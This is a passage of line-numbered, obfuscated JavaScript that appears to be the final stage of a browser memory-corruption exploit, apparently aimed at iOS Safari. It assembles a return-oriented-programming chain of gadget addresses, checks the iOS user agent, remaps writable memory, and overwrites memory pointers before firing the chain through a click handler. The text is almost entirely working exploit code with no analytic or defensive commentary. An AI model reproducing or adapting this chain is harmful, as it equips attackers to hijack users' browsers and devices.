| 702 | c[b++] = a.lo(); | |
| 703 | c[b++] = a.hi(); | |
| 704 | c[b++] = 3735879704; | |
| 705 | c[b++] = 3735879705; | |
| 706 | c[b++] = 3735879706; | |
| 707 | c[b++] = 3735879707; | |
| 708 | a = b; | |
| 709 | c[b++] = Add(G, 4 * a + 64).lo(); | |
| 710 | c[b++] = Add(G, 4 * a + 64).hi(); | |
| 711 | c[b++] = R.lo(); | |
| 712 | c[b++] = R.hi(); | |
| 713 | c[b++] = 3735879712; | |
| 714 | c[b++] = 3735879713; | |
| 715 | c[b++] = 3735879714; | |
| 716 | c[b++] = 3735879715; | |
| 717 | c[b++] = 3735879716; | |
| 718 | c[b++] = 3735879717; | |
| 719 | c[b++] = 3735879718; | |
| 720 | c[b++] = 3735879719; | |
| 721 | c[b++] = 3735879720; | |
| 722 | c[b++] = 3735879721; | |
| 723 | c[b++] = 3735879722; | |
| 724 | c[b++] = 3735879723; | |
| 725 | a = b; | |
| 726 | c[b++] = Add(G, 4 * a + 112).lo(); | |
| 727 | c[b++] = Add(G, 4 * a + 112).hi(); | |
| 728 | c[b++] = k.lo(); | |
| 729 | c[b++] = k.hi() | |
| 730 | }, | |
| 731 | aa = function(a, d, e, f, g, h, k) {
| |
| 732 | c[b++] = 3735879696; | |
| 733 | c[b++] = 3735879697; | |
| 734 | c[b++] = 3735879698; | |
| 735 | c[b++] = 3735879699; | |
| 736 | c[b++] = 3735884033; | |
| 737 | c[b++] = 3735884034; | |
| 738 | c[b++] = 3735879700; | |
| 739 | c[b++] = 3735879701; | |
| 740 | c[b++] = 3735879702; | |
| 741 | c[b++] = 3735879703; | |
| 742 | c[b++] = g.lo(); | |
| 743 | c[b++] = g.hi(); | |
| 744 | c[b++] = d.lo(); | |
| 745 | c[b++] = d.hi(); | |
| 746 | c[b++] = f.lo(); | |
| 747 | c[b++] = f.hi(); | |
| 748 | c[b++] = g.lo(); | |
| 749 | c[b++] = g.hi(); | |
| 750 | c[b++] = a.lo(); | |
| 751 | c[b++] = a.hi(); | |
| 752 | c[b++] = 3735879704; | |
| 753 | c[b++] = 3735879705; | |
| 754 | d = b; | |
| 755 | c[b++] = Add(G, 4 * d).lo(); | |
| 756 | c[b++] = Add(G, 4 * d).hi(); | |
| 757 | c[b++] = 3735879708; | |
| 758 | c[b++] = 3735879709; | |
| 759 | c[b++] = P.lo(); | |
| 760 | c[b++] = P.hi(); | |
| 761 | h ? (c[b++] = S.lo(), c[b++] = S.hi()) : (c[b++] = M.lo(), c[b++] = M.hi()); | |
| 762 | c[b++] = 3735884801; | |
| 763 | c[b++] = 3735884802; | |
| 764 | c[b++] = 3735884545; | |
| 765 | c[b++] = | |
| 766 | 3735884546; | |
| 767 | c[b++] = e.lo(); | |
| 768 | c[b++] = e.hi(); | |
| 769 | c[b++] = 3735884289; | |
| 770 | c[b++] = 3735884290; | |
| 771 | c[b++] = R.lo(); | |
| 772 | c[b++] = R.hi(); | |
| 773 | h && (c[b++] = 3668770832, c[b++] = 3668770833, c[b++] = 3668770834, c[b++] = 3668770835, c[b++] = 3668775169, c[b++] = 3668775170, c[b++] = 3668770836, c[b++] = 3668770837, c[b++] = 3668770838, c[b++] = 3668770839, c[b++] = 3668770840, c[b++] = 3668770841, c[b++] = 3668771056, c[b++] = 3668771057, c[b++] = 3668771058, c[b++] = 3668771059, c[b++] = 3668771060, c[b++] = 3668771061, c[b++] = a.lo(), c[b++] = a.hi(), c[b++] = 3668770840, c[b++] = 3668770841, d = b, c[b++] = | |
| 774 | Add(G, 4 * d).lo(), c[b++] = Add(G, 4 * d).hi(), c[b++] = 3668770844, c[b++] = 3668770845, c[b++] = P.lo(), c[b++] = P.hi(), c[b++] = M.lo(), c[b++] = M.hi(), c[b++] = 3668775937, c[b++] = 3668775938, c[b++] = h.lo(), c[b++] = h.hi(), c[b++] = 3668775681, c[b++] = 3668775682, c[b++] = 3668775425, c[b++] = 3668775426, c[b++] = V.lo(), c[b++] = V.hi()); | |
| 775 | c[b++] = 3735879714; | |
| 776 | c[b++] = 3735879715; | |
| 777 | c[b++] = 3735879714; | |
| 778 | c[b++] = 3735879715; | |
| 779 | c[b++] = 3735879716; | |
| 780 | c[b++] = 3735879717; | |
| 781 | c[b++] = 3735879718; | |
| 782 | c[b++] = 3735879719; | |
| 783 | c[b++] = 3735879720; | |
| 784 | c[b++] = 3735879721; | |
| 785 | c[b++] = 3735879722; | |
| 786 | c[b++] = | |
| 787 | 3735879723; | |
| 788 | c[b++] = 3735879724; | |
| 789 | c[b++] = 3735879725; | |
| 790 | c[b++] = k.lo(); | |
| 791 | c[b++] = k.hi() | |
| 792 | }, | |
| 793 | N = function(a, b, c, d, e, g, f) {
| |
| 794 | b = b || Int64.Zero; | |
| 795 | c = c || Int64.Zero; | |
| 796 | d = d || Int64.Zero; | |
| 797 | e = e || Int64.Zero; | |
| 798 | f = f || S; | |
| 799 | return (P ? aa : Z)(a, b, c, d, e, g, f) | |
| 800 | }; | |
| 801 | /\b10_\S+ like Mac OS X/.test(navigator.userAgent) ? (N(X, W, H, n, new Int64(0), new Int64(7)), N(B, H, t, n)) : (x.lo() || x.hi() ? N(x, Sub(H, Q), t, n) : fail("bi0n1c (c)"), z.forEach(function(a) {
| |
| 802 | if (a.prots.hi() & 2) {
| |
| 803 | var b = Add(a.addr, H); | |
| 804 | N(X, W, b, a.size, new Int64(0), new Int64(19)) | |
| 805 | } | |
| 806 | })); | |
| 807 | N(K, new Int64(1E5)); | |
| 808 | N(m); | |
| 809 | for (k = 0; 32 > | |
| 810 | k; ++k) c[b++] = 3724591326 + (k << 16); | |
| 811 | p = Add(G, 4 * (1048576 - f)); | |
| 812 | g.writeInt64(Add(J, 96), Add(p, 96)); | |
| 813 | g.writeInt64(Add(J, 104), p); | |
| 814 | O.addEventListener("click", function() {});
| |
| 815 | fail("should never reach this")
| |
| 816 | } | |
| 817 | })(); |